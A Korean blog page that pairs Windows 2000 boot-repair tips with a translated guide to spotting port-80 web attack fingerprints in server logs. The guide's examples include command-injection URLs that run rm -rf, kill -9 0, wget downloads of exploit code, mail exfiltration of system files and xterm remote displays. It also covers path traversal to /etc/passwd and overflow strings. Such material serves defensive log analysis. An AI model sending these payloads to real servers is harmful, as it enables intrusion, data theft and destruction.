-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Atapi\Parameters
를 찾아갑니다.
-Parameters 에서 마우스 오른쪽 클릭하여 `새로만들기-DWORD`로
`EnableBigLba` 를 만들고 값은 십진수로 `1`을 설정하고
윈도우를 재부팅합니다.
5.48-bit LBA 모드는 서비스 팩 2 이상에서 지원되며,
서비스 팩 3 혹은 그 이후버전의 서비스팩을 설치하였다 하더라도
여전이 위의 레지스트리 값을 수정해 주어야 합니다.

-주의사항-
1.만약 137기가 이상이 정상적으로 지원되는 상태에서 위의 레지스트리
값이 삭제되면 하드 디스크의 데이터가 깨어질 수 있습니다.
2.137기가 이상을 지원하는 시스템에서 미리 포맷되어 데이터가
저장된 하드디스크를 새로운 시스템에서 정상 사용하기 위해서도
위의 레지스트리 수정이 필요합니다.

Posted by 시스템매니아
,

에러 메시지 :
NTDETECT
가 하드웨어를 잘 점검하지 못했습니다
.
ntdetect.com
는 운영체제를 선택 후 바로 나타나거나 다음 화면으로 넘어 갈 때 이러한 에러 메시지를 나타내는 경우가 많으며, 주로 파일 손상으로 발생을 하게 된다

복원 방법은 복구 콘솔을 작업을 통해서 가능 하며 ntdetect.com의 경우 원본 파일을 윈도우 2000 CD에서 복사해 주면 복원이 가능하며 결국 처음 설치 작업 시에 해 주었던 것과 동일한 방법처럼 말이다. 실제 윈도우 2000 CD에서도 ntdetect.com와 동일한 원본 파일이 존재 할 것이다.


부팅 도중 NTDETECT 에러 메시지 화면

복원 방법은 단순히 ntdetect.com 파일을 시스템에 복사해 주면 된다. 윈도우를 처음 설치할 때도 이런 방법을 사용한다.

복구 콘솔에서 ntdetect.com C 디렉터리에 복사 하는 화면

Posted by 시스템매니아
,

MBR이나 부트 섹터에서 에러가 발생하게 되면 부팅 작업이 수행되지 않는다. 또한 MBR이나 부트 섹터 역시 바이러스가 감염될 수 있다.(대표적인 예가 CIH 바이러스이다.)
보통 이러한 문제가 발생한 경우, 정확히 무엇이 그 원인이 되는지 알아내기가 쉽지 않다. MBR이나 부트섹터에 관한 문제는 FIXMBR, FIXBOOT 명령어를 사용하여 복구할 수 있다. 

복구 콘솔의 FIXMBR 실행 화면

복구 콘솔의 FIXBOOT 실행 화면


Posted by 시스템매니아
,

간혹 페이징 파일 문제로 부팅이 되지 않는 경우가 발생한다. 많은 경우 부팅이 되지 않아 결국 재설치 작업까지 가는 경우가 많다. 그러나, 복구 콘솔을 통해 페이징 파일을 삭제하여 이러한 문제를 해결할 수 있다.

복구
콘솔에서는 pagefile.sys 파일이 나타나지 않는다. 따라서, 일반적인 방법으로는 지워지지 않는다. 따라서, 아래와 같은 방법을 사용하여 파일을 지우도록 한다.
1. 복구 콘솔로 부팅을 한다.
2.  페이지 파일이 존재하는 디렉터리로 이동한다.
3. 임의의 파일을 pagefile.sys라는 이름으로 복사한다.
예) copy c:\boot.ini pagefile.sys
4. 이제 “del pagefile.sys” 명령어를 사용하여 페이지 파일을 삭제한다.
페이지 파일에서 생긴 문제를 해결하기 이러한 방법은 다음 MS 기술 문서에도 소개되어 있다.

Posted by 시스템매니아
,

에러 메시지 내용 :
다음 파일이 없거나 손상되어 윈도우 2000을 시작 할 수 없습니다. :

%systemroot%\system32\ntoskrnl.exe.
위 파일의 복사본을 다시 설치 하십시오

부팅 시 제공되는 Ntoskrnl.exe 에러 메시지 화면

이런 에러 메시지는 실제로 ntoskrnl.exe이 없거나 손상되어서 발생 할 수도 있고 또는 이 파일과 관련된 hal.dll 파일이 없거나 손상되어서 발생 할 수 있다.
아래 그림을 통해서 보면 ntoskrnl.exe HAL과 연결되어 있고 또한 그 역으로도 연결이 되어 있다는
것을 볼 수 있다.

Depends.exe을 통해서 Ntoskrnl의 종속성을 본 화면

해결 방법:
복구 콘솔에서 위와 같이 복사를 통해 해결 할 수 있으며, 실제 자체 파일 손상이 아니라, HAL.DLL 파일의 손상 때문에 문제가 발생할 수도 있다. 아래 그림은 복구 콘솔에서 복원을 하는 작업 방법을 그림으로 제공한 것이다. 또한 복원 후 문제가 발을 하게 될 경우는 HAL에 대해서도 같은 작업을 진행 하기를 바란다.

복구 콘솔의 expand을 통해서 ntoskrnl.ex_을 확장 하는 방법

주의 할 것은 무조건 HAL.DLL 복구 시 현재의 시스템에 새로운 하드웨어 정보로 구성 된다는 것이다. 현재의 구성 된 네트워크 및 VGA..등등 말이다이와 같이 HAL.DLL은 주의 해서 사용 하기를 바란다. 그래서 결국 새로운 하드웨어 프로필이 생성이 될 것이다. 꼭 필요 시에만 적용 하기를 바란다.
Posted by 시스템매니아
,

NTLDR is Missing 에러가 발생 해서 부팅이 되지 않을 경우는 종종 발생하게 된다.
그럴경우 관리자는 매우 당혹케 할 수 있는데 아래와 같은 순서대로 하나씩 진행 해보시길 바랍니다
.
단지 파일이 없을 뿐이라고 생각 하시면 됩니다.

NTLDR 에러로 부팅이 되지 않는 화면

우선 NTLDR이라는 것은 무엇을 하는지를 알고 있다면 쉽게 해결을 할 수 있다.

NTLDR의 역할
  • 사용자가 시작할 운영체제를 선택 할 수 있게 해주는 역할
  • 부트 파티션에 있는 운영 체제 파일들을 로드 하는 역할
  • 운영체제 선택 과정을 제어하고, 윈도우 2000 커널 초기화가 이루어지기 전에 하드웨어 검색을 수행 하는 역할

이와 연관될 파일들은 아래와 같은 파일들이다. 각 파일들에서 오류가 발생한 경우 비슷한 메시지가 나타나며, 해당 파일이 없다는 에러가 발생하게 된다. 복원 방법은 약간의 차이가 있지만 거의 비슷하다.

  • Boot.ini
  • Ntdetect.com
  • Bootsect.dos (이 파일은 컴퓨터에 하나 이상의 운영체제로 부팅 하려고 한다면 존재한다. 특히 Win XP/Vistar의 경우)

포맷 방식별로 에러 메시지가 다소 차이가 있다.

  • FAT 일 경우 – "Boot: Couldn’t find NTLDR "

·      NTFS 일 경우 – "NTLDR is missing"

이렇게 하신후 다시 fixboot 명령어로 부팅섹터를 재설정하시기바랍니다

C:\Windows>fixboot C:

             

 

여기까지 하신후 c:\>EXIT 재부팅을 합니다

이 문제의 또 다른 해결방법은 응급복구 디스크와 복구 콘솔을 사용하는 것이다. 또한 근본적인 해결은
아니지만 시동디스크를 통해서 이러한 에러메시지를 나타나지 않게 부팅을 할 수 있다.
Posted by 시스템매니아
,

80포트 공격법

security 2008. 11. 25. 14:56

Fingerprinting을 이용한 80 포트(웹서버) 공격법들"

웹서버와 웹 응용프로그램을 공격하기 위한 문자(기호)들을 살펴본다.

I. 서론

80 포트는 웹사이트를 위한 표준적인 포트이며, 이 웹사이트에는 많은 보안위험 요소를 가지고 있다.

이들 보안 위험 요소는 공격자가 웹서버의 관리자 권한을 획득할 수 있거나 심지어 웹서버 자체를 자신의 것으로 만들 수 있다.

이 문서는 약간의 문자(기호)를 조합하여 웹서버를 공격하는 예를 보여주며, 당신은 이 공격기호들을 웹로그 파일 안에서 볼 수 있다.

II. 일반적인 Fingerprints

이 단락에서는 일반적인 Fingerprints를 하기 위한 웹 응용프로그램과 웹서버의 공격코드를 사용하는 예를 보여 줄 것이다.

여기서는 당신에게 사용가능한 모든 Fingerprints를 보여주지는 않을 것이다. 그 대신 일반적으로 사용하는 공격 기호들을 간략하게 보게 될 것이다.

이들 문자(기호)의 대부분은 이미 알려져 있지만 아직 알려지지 않은 취약한 문자(기호)들을 선택하여 공격자들은 공격할 수도 있다.

아래 기호는 보통 웹 서비스에서 사용될 수 있지만, 공격시에도 사용될 수 있다.

"." ".." 그리고 "..."의 요청들

이들 대부분의 공격 기호들은 웹 응용프로그램이나 웹서버에서 둘다 사용할 수 있는 일반적인 공격 코드이다.

웹서버에 접근하기 위한 디렉토리 변경이나 버그를 찾기 위해 공격자는 공개된 기법들을 동원하지는 않는다.

거의 대부분의 취약점은 CGI 버그를 이용한다.

아래 ".."을 요청한 예를 보자

* http://host/cgi-bin/lame.cgi?file=../../../../etc/motd

이것은 공격자가 당신의 웹서버에게 "Message Of The Day"파일인 /etc/motd파일 내용을 요청한다.

이것이 성공한다면 공격자는 당신의 웹서버 루트 권한을 획득 한다거나 일반 사용자 권한을 획득하기 위해 충분한 정보를 모으는 것이 가능할 수 있다.

"%20" 요청하기

이것은 공백을 위한 Hex값이다. 이것은 당신의 로그파일 안에서 자주 나타나기도 하지만 공격코드가 아닐 수도 있다.

웹서버가 실행되고 있는 동안 몇몇 응용프로그램들이 이 문자를 사용할 수도 있다. 로그파일안에서 이들을 구별 할 줄 알아야 한다.

다른 한편으로는, 이 요청이 때때로 시스템 명령을 실행하는 것을 돕는데 사용될 수 있다.

아래 예를 보자.

* http://host/cgi-bin/lame.cgi?page=ls%20-al| (ls -al은 유닉스 명령에서 사용되는 것이다.)

위의 예제는 공격자가 ls명령어를 유닉스의 명령인자와 함께 구성하여 실행하는 것을 보여준다.

이 명령인자는 디렉토리내의 모든 파일 리스트를 보기 위해 서버에 요청하는 것이다.

이것은 당신의 시스템 위에 중요한 파일들을 공격자가 접근하는 것을 허락할 수 있고, 더 나아가 공격자에게 더 높은 권한을 얻는 방법에 대한 아이디어를 줄 수 있다.


"%00" 요청하기.

이것은 NULL을 위한 hex값이다.

이것은 웹 응용프로그램이 정상파일을 요청한 것으로 생각하게 만들어 공격자의 파일 타입을 속이는데 사용될수 있다.

아래 예를 보자.

* http://host/cgi-bin/lame.cgi?page=index.html
위의 예제는 정상으로 웹서버에게 요청하는 경우 이다. 만약 공격자가 위의 요청에 대하여 취약점이 있는지를 찾기 위한 것이라면 아래와 같이 입력해야 한다.

* http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
웹서버는 파일 확장자가 .htm, .html, .shtml혹은 다른 파일 타입에 대하여만 허용하기 때문에 위의 예제는 요청을 불허 할 수 있다.

웹서버에 위와 같은 요청이 들어오면 서버는 적절한 파일 타입이 아니라고 당신에게 응답을 주게 될 것이다. 좀더 정확하게 그것은 공격자에게 파일이 정확한
filename으로 끝나야 한다고 말할 것이다. 여기서 공격자는 당신의 시스템에 관한 많은 정보를 획득하기 위해 시스템 파일들이 위치한 패스를 정확히 알려고 할 것이다.

* http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html
이 요청은 서버에게 미리 접근 가능하도록 정의된 파일 형태로 속이기 위해서 사용된다.

몇몇 웹 응용프로그램들은 보통 일반적인 접근 가능한 파일들을 속일 수 있기 때문에 공격자들에 의해 사용되는지를 조사하여야 한다.

"|" 요청하기
이것은 파이프 문자로, 유닉스의 복잡한 명령들을 한번에 실행하기 위해 필요한 기호이다.

예제: #cat access_log| grep -i ".."
이것은 access_log파일 안에서 공격자들이 ".."를 요청한것을 찾기 위해 사용되는 명령어 이다.

종종 침입탐지 시스템의 로그들은 웹 응용프로그램들이 정상적으로 사용하는 이러한 요청을 공격성 코드로 인식하는 경우도 발생한다.

그러므로 당신의 웹 서버 응용프로그램들이 이러한 정상 코드를 발생시키는지에 대한 시험을 통하여 허위 탐지 정보를 판단하여야 한다.

몇몇 예제들이 아래에 있다.

* http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|
이 요청은 보통 ls명령어를 실행하기 위한 것이다. 위의 요청에 조금 다른 변화를 주어보면,

* http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|
이 요청은 유닉스 시스템의 /etc 디렉토리의 모든 내용을 볼 수 있다.

* http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame"
이 요청은 cat명령을 실행하여 access_log파일 내용중에 lame문자열을 찾는 것이다. 물론 grep명령어의 i옵션도 함께 사용하였다.


";" 요청하기.
이것은 복합적인 명령들을 연속적으로 유닉스 시스템 위에서 실행되게 하는 문자이다.

예제: #id;uname -a (id명령을 실행한 이후 uname명령어를 실행합니다)
종종 서버내의 프로그램들이 시간을 표현하기 위해 사용되는 문자일 수 있지만, 침입탐지 시스템에서 경보를 발생시킬 수도 있다.

한번 당신의 응용프로그램들을 점검하여 침입탐지 시스템의 룰을 재 적용하면 많은 오용탐지를 막을 수 있다.

"<" and ">" 요청하기.

이 문자들은 많은 이유로 인하여 침입탐지 로그에서 체크되어 진다. 이 문자를 사용하는 첫번째 이유는 파일의 입출력을 변경하거나 파일 내용을 추가할때 사용되어 진다.

예제 1: #echo "your hax0red h0 h0" >> /etc/motd
이것은 /etc/motd파일안에 내용을 쓰는 것을 보여준다. 공격자는 당신의 웹사이트를 손상시키기 위해 이렇게 간단한 요청을 사용할 수 있다.

rain.forest.puppy에 의해 유명해진 RDS 공격코드는 매번 echo명령을 사용하여 웹사이트의 메인 페이지를 변경하는데 사용하였다. 특별한 포멧이 없는 웹사이트 해킹에는 echo명령을 이용한 것을 attrition.org에서 찾을 수 있다.

Example 2: http://host/something.php=Hi%20mom%20I'm%20Bold!
이 요청은 크로스 사이트 서버 스크립팅 공격 예제이다. 당신은 html테크를 사용하여 "<"나 ">" 문자를 웹 서버에 쓸 수 있다.

이 공격은 사용자가 원래 접속하려던 웹 사이트의 접속을 차단하고 똑같은 웹사이트로 링크를 만들어 사람들을 속여 자신이 접속한 웹서버 정보가 정확하다고 속이데 사용할 수 있다.
(물론, 공격이 성공하려면 똑같은 웹사이트 링크가 필요하다.-)
(접속하는 hex값이 암호회 된다면 이러한 서버 사이트 스크립팅 공격은 막을 수 있다.)

"!" 요청하기

이 문자는 종종 SSL(Server Side Include)공격에 사용된다. 이들 공격은 공격자가 사용자들이 잘못된 웹 사이트 링크를 클릭하는 것과 같은 크로스 사이트 스크립팅 공격과 비슷한 결과를 가져올 수 있다.

아래 예제를 보라.
http://host1/something.php=위의 예제는 원격지 시스템의 유닉스 명령어인 "id" 실행을 요청한 것이다. 이것은 웹서버 데몬 사용자를 보여줄 것이다. 대게 "nobody"나 "www"일 것이다.

이것은 또한 숨겨진 파일 내용을 볼수도 있다.

아래 예제를 보라.
http://host/something.php=이것은 .htpasswd파일에 관련한 것이다. 이 파일은 일반적으로 웹서버의 접근 권한을 제어하는 파일이며, 아파치 웹서버 내의 설정파일에 의하여 ".ht"은 웹에서 접근하지 못하도록 하고 있다.

이 SSL테그는 서버의 보안정책 사항을 우회할 수 있는 통로를 제공한다.

"이것은 종종 원격지 웹 응용프로그램인 php에 인자를 입력하는데 사용된다. 서버의 특정 인자 값이나 서버의 환경을 설정할 수 있는 명령들을 실행하는 것을 가능하게 한다.

아래 예제를 보라.
http://host/something.php=
잘못 작성된 php 프로그램은 원격지나 로컬에서 웹서버 권한의 명령어를 실행할 수 있다.
이 취약점에 더하여 공격자는 hex값을 암호화 하여 동일하게 요청할 수 있다. 그러므로 당신은 작성된 프로그램을 세밀하게 점검하여야 한다.

"`" 요청하기.
"`"문자는 perl에서 명령어를 실행하는데 자주 사용되어 진다. 이 문자는 보통 웹 서버 프로그램에서는 사용되지 않는다. 그러므로 당신은 이것이 얼마나 타당한 로그인지를 주의깊게 살펴볼 필요가 있다.

아래 예제를 보라.
http://host/something.cgi=`id`
이것은 취약한 perl로 작성된 프로그램에서 "id"명령을 실행할 수 있다는 것을 보여 준다.


III. 고급 Fingerprints

이 장에서는 공격자가 요청할 수 있는 파일들과 함께 더 많은 실행가능한 명령어를 사용하는 방법에 대하여 초점을 맞출 것이다.
공격자는 원격지 시스템의 완전한 명령이나 파일들의 목록을 요청하지는 못하지만 당신의 시스템을 배경으로 충분한 아이디어를 제공해 줄 수 있다.

* 취약점이 존재할때 공격자가 사용할 수 있는 일반적인 명령어.

"/bin/ls"
이것은 ls명령어인 바이너리 파일이다. 보통 웹 응용프로그램에 홀이 존재하면 바이너리 파일의 전체 패스명을 사용하여 요청한다.
만약 당신의 웹 로그에서 이 명령어를 발견한다면 원격지에서 로컬 시스템의 명령어를 실행 할 수 있다는 것을 보여준다. 때때로 허위 경보일 수 있으므로 항상 문제가 될수 없다.
가능하다면 당신의 웹 프로그램에서 이러한 로그 파일과 동일하게 시험하여 보고 그 결과값을 연구할 필요가 있다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|
예제: http://host/cgi-bin/bad.cgi?doh=ls%20-al;

"cmd.exe"
이것은 윈도우 쉘 이다. 만약 공격자가 이 윈도우 쉘을 실행 할 수 있다면 서버 권한에 의지하고 있는 윈도우 시스템은 어떠한 명령이라도 실행 할 수 있다.
거의 대부분의 인터넷 웜 바이러스는 포트 80번을 이용하여 이 cmd.exe를 이용한다. 또한 감염된 서버는 cmd.exe를 사용하여 또 다른 시스템에게 바이러스를 전파시키기도 한다.

http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:\

"/bin/id"
이것은 유닉스의 "id"명령에 대한 바이너리 파일이다. 보통 웹 응용프로그램에 홀이 존재하면 바이너리 파일의 전체 패스명을 사용하여 요청한다.
만약 당신의 웹 로그에서에 이 명령어를 발견한다면 원격지에서 로컬 시스템의 명령어를 실행 할 수 있다는 것을 보여준다. 때때로 허위 경보일 수 있으므로 항상 문제가 될수 없다.
가능하다면 당신의 웹 프로그램에서 이러한 로그 파일과 동일하게 시험하여 보고 그 결과값을 연구할 필요가 있다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|
예제: http://host/cgi-bin/bad.cgi?doh=id;

"/bin/rm"
이것은 유닉스의 "rm"명령에 대한 바이너리 파일이다. 보통 웹 응용프로그램에 홀이 존재하면 바이너리 파일의 전체 패스명을 사용하여 요청한다.
만약 당신의 웹 로그에서에 이 명령어를 발견한다면 원격지에서 로컬 시스템의 명령어를 실행 할 수 있다는 것을 보여준다. 때때로 허위 경보일 수 있으므로 항상 문제가 될수 없다.
이 명령은, 다른 한편으로는, 공격자나 사용자에 의하여 사용되든지 양쪽다 파일을 삭제하는 것을 허용하기 때문에 상당히 위험하다.
가능하다면 당신의 웹 프로그램에서 이러한 로그 파일과 동일하게 시험하여 보고 그 결과값을 연구할 필요가 있다. 만약 이러한 시험을 하고자 한다면 시스템내의 중요한 파일들에 대해서는 점검하고 사용하길 바란다.
만약 stupid.txt파일을 삭제한다면, 그것은 웹 사이트내의 루트 디렉토리에 보여지지는 않는다. 테스트할 목적이라면 새로이 파일을 만든다음 시험하여 보라.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|
예제: http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;

"wget, tftp" 명령어
이 명령은 공격자가 서버에 파일을 다운로드 하기위해 사용되거나 바이러스를 전파하기 위해 자주 사용된다. 때론 공격자가 사용자 권한을 한층 더 높이기 위해 사용되기도 한다.
wget은 유닉스 명령어로 백도어를 심기위해 다운로드할때 사용되어 진다. tftp 명령어는 유닉스나 NT모두에서 사용가능한 파일 다운로드 명령이다.
몇몇 IIS 바이러스는 tftp명령어를 사용하여 자신들을 복제하는데 사용되어 지며, 또한 다른 시스템으로 전이하기 위해 사용되어 진다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c|
예제: http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;

"cat" 명령어
이 명령어는 파일의 내용을 보는데 자주 사용되어 진다. 이 명령어는 시스템의 환경파일, 패스워드 파일, 크레디트 카드관련 파일, 등등 당신이 생각할 수 있는 거의 모든 중요한 파일들의 내용을 볼 수 있다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd|
예제: http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;

"echo" 명령어.
이 명령은 종종 index.html과 같은 파일 내용을 덧붙일때 사용된다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt|
예제: http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;

"ps" 명령어.
이 명령은 현재 실행중인 프로세서 리스트를 보여 준다. 이 명령은 공격자에게 원격지 시스템에 안전치 않은 소프트웨어를 알려 줄수 있고, 또한 공격자에게 시스템내의 많은 정보를 알려 줄수 있다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux|
예제: http://host/cgi-bin/bad.cgi?doh=ps%20-aux;

"kill, killall" 명령어.
이 명령어는 유닉스 시스템에서 실행중인 프로세서를 중지시킬때 사용되어 진다. 공격자가 이 명령어를 사용할 수 있다면 시스템 서비스나 프로그램을 중지시키거나 재시작 할 수 있다.
공격자는 이 명령을 또한 그가 실행시킨 프로세서를 중지 시키거나 공격이후 생성한 프로세서를 없애는데 사용하기도 한다.

예제: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200|
예제: http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;

"uname" 명령어.
이 명령어는 공격자가 원격시스템의 호스트 이름(커널, OS종류, 패치여부, Release정도)을 알고자 할때 사용된다. 때때로 웹사이트가 ISP에 연결되어 있으면 이 명령어를 통해 그가 접근가능(공격가능한)한 방법에 대한 아이디어를 제공하기도 합니다.
보통 "uname -a"명령어는 로그파일에서 다음과 같이 나타납니다.
"uname%20-a".

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a|
예제: http://host/cgi-bin/bad.cgi?doh=uname%20-a;

"cc, gcc, perl, python, etc..." 컴파일러/인터프린터 언어들.
"cc"나 ""gcc" 명령어는 프로그램의 수정을 허용한다. 공격자는 wget이나 tftp명령을 사용하여 공격성 코드를 다운로드 한 다음 이 컴파일러를 이용하여 프로그램을 편집하기도 한다.
아무곳에서나 이러한 것이 가능하다면, 로컬 시스템은 악의적으로 사용될 수 있다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c|
예제: http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;

만약 공격자가 "perl"이나 "python"을 위한 스크립트 요청을 보게 된다면 공격자는 원격지에 perl이나 python스크립트를 다운로드 할 것이고, 당신의 시스템을 악의적으로 이용할 것이다.

"mail" 명령어.
이 명령어는 공격자가 자신의 이메일 주소로 원격지 시스템의 특정 파일을 받고자 할때 주로 사용된다. 또한 mail명령어는 스팸머(대량메일을 네트워크에 전송하는)에게 매우 자주 사용되는 명령어 이기도 하다.
예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@hostname%20<<%20/etc/motd|
예제: http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20<
"xterm/Other X application" 명령어.
Xterm명령어는 원격지 시스템의 X-Windows에서 사용되는 쉘을 얻기 위해서 자주 사용된다. 만약 당신의 웹 로그에서 이러한 형태를 보게 된다면 그것은 당신의 시스템 안전을 위협하는 요소 이다. 당신의 로그 내용중에 아래와 같은 형태가 있는지 점검하여 보라.
"%20-display%20"
이러한 fingerprint는 xterm이나 X관련 응용프로그램을 원격지 호스트에서 사용하기 위해 자주 이용하는 형태이다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1|
예제: http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;

"chown, chmod, chgrp, chsh, etc..." 명령어.
이 명령어는 유닉스 시스템의 권한설정 부분을 변경할때 사용되는 명령어 이다.
아래에 각각 개별적으로 간단히 설명하였다.
chown = 파일 소유자를 변경한다.
chmod = 파일의 엑세스 권한을 설정한다.
chgrp = 파일의 소유자 그룹별을 변경한다.
chsh = 현재 사용자의 쉘을 변경한다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html|
예제: http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html;
예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd|
예제: http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh;
예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|


* 보통 공격자들이 요청하는 파일들.

"/etc/passwd" 파일.
이것은 시스템 패스워드를 담고 있는 파일이다. 이것은 보통 패스워드부분이 암호화 처리 되어 공격자에게 패스워드를 쉽게 획득하지 못하도록 하고 있다.
그러나 공격자에게 다른 한편으로 많은 정보를 줄 수 있다. 예를 들면 사용자 이름, 그룹정보, 사용중인 쉘, 홈 디렉토리 등등.
종종 공격자들은 암호화된 패스워드 파일인 /etc/shadow파일을 보려고 할 것이다.

"/etc/master.passwd"
이 파일은 BSD시스템의 암호화된 패스워드 파일이다. 이 파일은 단지 루트 사용자만이 읽을 수 있지만 경험없는 공격자들은 아마도 이 파일을 읽기 위해 노력할 것이다.
만약 웹서버가 루트 사용자로 실행되고 있다면 공격자는 이 파일을 읽을 수 있을 뿐만 아니라 시스템에 많은 문제를 야기 할 수 있다.

"/etc/shadow"
이것은 암호화된 패스워드를 담고 있는 시스템 패스워드 파일이다. 이 파일은 단지 루트 사용자만이 읽을 수 있지만 경험없는 공격자들은 아마도 이 파일을 읽기 위해 노력할 것이다.
만약 웹서버가 루트 사용자로 실행되고 있다면 공격자는 이 파일을 읽을 수 있을 뿐만 아니라 시스템에 많은 문제를 야기 할 수 있다.

"/etc/motd"
이것은 "Message Of The Day"파일로 사용자가 로긴하였을 때 보여지는 메세지 내용을 담고 있는 유닉스 시스템 파일이다. 이 파일은 중요한 시스템 정보를 관리자가 일반 사용자들에게 공지하기 위한 정보를 제공할때 사용되어 진다.
공격자는 시스템 용도를 알기 위하여 종종 이 파일 내용을 조사하게 된다. 시스템에 접근하기 위하여 사용되어지는 OS에 따른 공격코드를 연구할때 사용되어 지기도 한다.
"/etc/hosts"
이 파일은 네트워크 정보나 IP주소에 관한 정보를 제공한다. 공격자는 이 정보를 당신의 시스템과 네트워크 설정에 관한 많은 정보를 찾아내는데 사용할 수 있다.

"/usr/local/apache/conf/httpd.conf"
이것은 아파치 웹서버의 환경파일이다. 이 패스정보가 시스템 마다 서로 틀릴 수 있지만 보통은 위와 같다.
이 파일은 공격자에게 웹사이트에 관련한 CGI,SSL접근이 허락되는지와 같은 특별한 정보를 알려줄 수 있다.

"/etc/inetd.conf"
이 파일은 인터넷 서비스 관리자에 관련한 환경설정 파일이다. 이 파일은 원격지 시스템에서 사용중인 데몬에 대한 내용을 담고 있다.
이 파일은 또한 공격자에게 원격지 시스템이 각 데몬을 위한 접근 제한을 설정하고 있는지도 알 수 있다.
만약 접근 제한이 설정되어 있다면 공격자는 다음 파일을 조사 할 것이다. /etc/hosts.allow 나 /etc/hosts.deny 파일이다. 공격자는 아마도 원격지 서버에 접근 권한을 얻기 위해 이 파일내용을 수정할 것이다.

".htpasswd, .htaccess, and .htgroup"
이 파일은 웹사이트의 패스워드 인증을 위해 사용되어 진다. 공격자가 이 파일 내용을 보게 되면 웹 사이트에 접속하기 위한 사용자명과 패스워드를 알아 낼 것이다. 이 파일 내용중 패스워드는 암호화 되어 있다.
그러나 이 암호화된 패스워드는 패스워드 크랙을 이용하여 간단하게 풀 수 있다. 공격자는 아마도 사용자 이름과 패스워드 크랙을 통해 쉽게 웹사이트에 접속할 수 있다.
(많은 사람들은 사용자명과 같은 패스워드를 사용한다. 공격자는 종종 이것을 알아채어 사용자명만 가지고 쉽게 접근할 수 있다.)

"access_log and error_log"
이 파일은 아파치 웹서버의 로그 파일들이다. 공격자들은 때때로 자신들의 접속 로그가 있는지 알기 위하여 이 로그 파일을 조사합니다. 종종 공격자들은 자신의 접속과 관련한 내용이 존재하면 모두 삭제하거나 편집하기도 한다.
공격자가 포트 80을 이용하여 이들 파일들을 삭제 할 수 있다면 당신은 시스템복원을 위해 상당히 힘들 수 있다. 그러므로 이 로그 파일은 항상 백업을 받는다든지 아니면 다른 시스템에 동시 저장하여야 한다.

"[drive-letter]:\winnt\repair\sam._ or [drive-letter]:winnt\repair\sam"
이것은 윈도우 NT에서 사용하는 패스워드 파일이다. 공격자는 원격지 시스템에 명령실행이 되지 않는다면 종종 이 파일을 요청할 것이다. "l0pht crack"프로그램을 실행하면 원격지 윈도우 시스템의 패스워드를 크랙하는데 성공할 수 있다.
공격자가 관리자 패스워드를 알아내면 원격지 시스템을 자신의 것으로 만드는 것은 매우 쉽다.


IV. 오버 플로워 Fingerprints

버퍼오버 플로워에 관련한 문서를 여기서는 많이 소개하지는 않겠지만, 간단한 몇개의 일례만을 예제로 보여줄 것이다.
버퍼오버 플로워는 다른 트릭들이나 암호화에 의하여 시스템을 혼란시키는데 사용된다.

아래 예제를 보라.
예제:
http://host/cgi-bin/helloworld?type=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

공격자는 굉장히 많은 문자 'A'를 전송하여 원격지 서버 프로그램의 버퍼를 넘치게 할 수 있다. 버퍼오버 플로워는 공격자에게 원격지 명령을 실행할 수 있는 권한을 준다.
만약 응용프로그램의 소유자가 루트이고 suid가 설정되어 있다면 시스템에 대한 모든 접근 권한을 획득할 수 있다. 만약 suid가 설정되어 있지 않다면 웹서버를 실행중인 사용자 권한을 획득할 수 있다.
